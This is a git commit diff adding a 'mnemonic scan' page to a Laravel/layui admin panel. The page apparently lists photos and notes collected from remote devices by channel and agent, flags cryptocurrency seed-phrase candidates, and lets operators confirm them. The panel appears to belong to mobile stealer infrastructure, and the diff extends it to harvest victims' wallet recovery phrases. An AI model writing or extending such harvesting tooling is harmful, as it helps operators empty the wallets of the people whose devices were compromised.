feat: scan

This commit is contained in:
hashbro
2026-09-12 23:53:53 +08:00
parent e294053285
commit 558912864d
36 changed files with 4165 additions and 15 deletions
File diff suppressed because it is too large Load Diff
+6
View File
@@ -24,6 +24,12 @@
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
.photo-thumb{position:relative;display:inline-block}
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
.scan-badge{position:absolute;left:8px;top:8px;font-size:11px;line-height:16px;padding:0 5px;border-radius:2px;color:#fff;background:#909399}
.scan-badge-1{background:#16b777}
.scan-badge-2{background:#ff5722}
.scan-badge-3{background:#16b777}
.scan-badge-4{background:#c2c2c2}
.scan-progress{color:#666;font-size:13px;margin:0 0 10px}
.note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px}
.note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333}
.note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333}
+10 -1
View File
@@ -264,10 +264,12 @@
</div>
</div>
</form>
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes')
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
<div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@@ -412,6 +414,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
if (res && res.scan) {
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
@@ -421,6 +426,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var card = $(
'<a class="photo-card" href="javascript:;">' +
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
'<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + (p.scan_label || '未扫') + '</span>' +
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
@@ -531,13 +537,16 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) {
var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : [];
if (res && res.scan) {
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
if (!items.length) {
$('#LAY-note-empty').show();
} else {
$('#LAY-note-empty').hide();
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card);
});
@@ -0,0 +1,192 @@
@extends('admin.content')
@section('title', '助记词扫描')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.scan-bar { display:flex; gap:16px; flex-wrap:wrap; margin-bottom:12px; }
.scan-tile { background:#f8f8f8; border-radius:4px; padding:10px 14px; min-width:220px; }
.scan-tile strong { font-size:18px; }
.scan-sus { color:#ff5722; font-weight:600; }
.scan-ok { color:#16b777; font-weight:600; }
</style>
<div class="layui-card">
<div class="layui-card-header">扫描进度</div>
<div class="layui-card-body">
<div class="scan-bar">
<div class="scan-tile">
<div>相册</div>
<strong>{{ $photoProgress['scanned'] ?? 0 }} / {{ $photoProgress['total'] ?? 0 }}</strong>
<div>已扫 / 总数 · 疑似 {{ $photoProgress['suspected'] ?? 0 }} · 确定 {{ $photoProgress['confirmed'] ?? 0 }}</div>
</div>
<div class="scan-tile">
<div>备忘录</div>
<strong>{{ $noteProgress['scanned'] ?? 0 }} / {{ $noteProgress['total'] ?? 0 }}</strong>
<div>已扫 / 总数 · 疑似 {{ $noteProgress['suspected'] ?? 0 }} · 确定 {{ $noteProgress['confirmed'] ?? 0 }}</div>
</div>
</div>
</div>
</div>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-find-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">状态</label>
<div class="layui-input-block">
<select name="status">
<option value="" selected>全部</option>
<option value="suspected">疑似</option>
<option value="confirmed">确定含有</option>
<option value="dismissed">已排除</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
<option value="photo">相册</option>
<option value="note">备忘录</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-find-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-find-list" lay-filter="LAY-find-list"></table>
<script type="text/html" id="LAY-find-thumb">
@{{# if(!d.photo_url){ }}—@{{# } else { }}
<img src="@{{d.photo_url}}" lay-event="preview" title="点击预览" style="max-height:48px;max-width:72px;cursor:pointer;">
@{{# } }}
</script>
<script type="text/html" id="LAY-find-ops">
@{{# if(d.status === 'suspected'){ }}
<a class="layui-btn layui-btn-xs" lay-event="confirm">确定含有</a>
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="dismiss">排除</a>
@{{# } }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
var actionBase = @json(url('/'.$portal.'/findings'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
table.render({
elem: '#LAY-find-list',
id: 'LAY-find-list',
url: @json(route($portal.'.findings.data')),
where: { status: '' },
cols: [[
{ field: 'id', title: 'ID', width: 70 },
{ field: 'source', title: '来源', width: 80 },
{ title: '预览', width: 90, templet: '#LAY-find-thumb' },
{ field: 'candidate', title: '候选助记词', minWidth: 360 },
{ field: 'excerpt', title: '原文摘录', minWidth: 220 },
{ field: 'word_count', title: '词数', width: 70 },
{ field: 'status_label', title: '状态', width: 100, templet: function (d) {
if (d.status === 'confirmed') return '<span class="scan-ok">确定含有</span>';
if (d.status === 'dismissed') return '已排除';
return '<span class="scan-sus">疑似</span>';
}},
{ field: 'device_key', title: '设备 ID', width: 150 },
{ field: 'channel_id', title: '渠道', width: 140 },
{ field: 'created_at', title: '时间', width: 170 },
{ title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-find-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-find-search)', function (data) {
table.reload('LAY-find-list', { where: data.field, page: { curr: 1 } });
return false;
});
function openDeviceTab(url, title) {
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
}
table.on('tool(LAY-find-list)', function (obj) {
var d = obj.data;
if (obj.event === 'preview') {
if (!d.photo_url) return;
layer.open({
type: 1,
title: '照片预览 #' + d.id,
area: ['80%', '80%'],
shadeClose: true,
content: '<div style="padding:12px;text-align:center;height:100%;box-sizing:border-box;overflow:auto;">' +
'<img src="' + d.photo_url + '" style="max-width:100%;max-height:100%;">' +
'</div>'
});
return;
}
if (obj.event === 'detail') {
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
return;
}
if (obj.event === 'dismiss') {
layer.confirm('排除这条疑似结果?', { icon: 3 }, function (idx) {
layer.close(idx);
postFinding(d.id, 'dismiss', {});
});
return;
}
if (obj.event !== 'confirm') return;
layer.prompt({
formType: 2,
title: '确认候选助记词(可修改,须为合法助记词)',
value: d.candidate || '',
area: ['560px', '160px']
}, function (value, promptIdx) {
postFinding(d.id, 'confirm', { candidate: value }, promptIdx);
});
});
function postFinding(id, action, extra, promptIdx) {
$.ajax({
url: actionBase + '/' + id + '/' + action,
method: 'POST',
data: Object.assign({ _token: token }, extra || {}),
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
if (promptIdx) layer.close(promptIdx);
layer.msg('已处理');
table.reload('LAY-find-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.msg) || '失败');
}
});
}
});
</script>
@endpush
+3
View File
@@ -107,6 +107,9 @@
<dd data-name="notes">
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
</dd>
<dd data-name="findings">
<a lay-href="{{ route('admin.findings.index') }}">助记词扫描</a>
</dd>
<dd data-name="whatsapp">
<a lay-href="{{ route('admin.whatsapp.index') }}">WS 参数</a>
</dd>
+3
View File
@@ -99,6 +99,9 @@
<dd data-name="notes">
<a lay-href="{{ route('user.notes.index') }}">备忘录</a>
</dd>
<dd data-name="findings">
<a lay-href="{{ route('user.findings.index') }}">助记词扫描</a>
</dd>
<dd data-name="whatsapp">
<a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a>
</dd>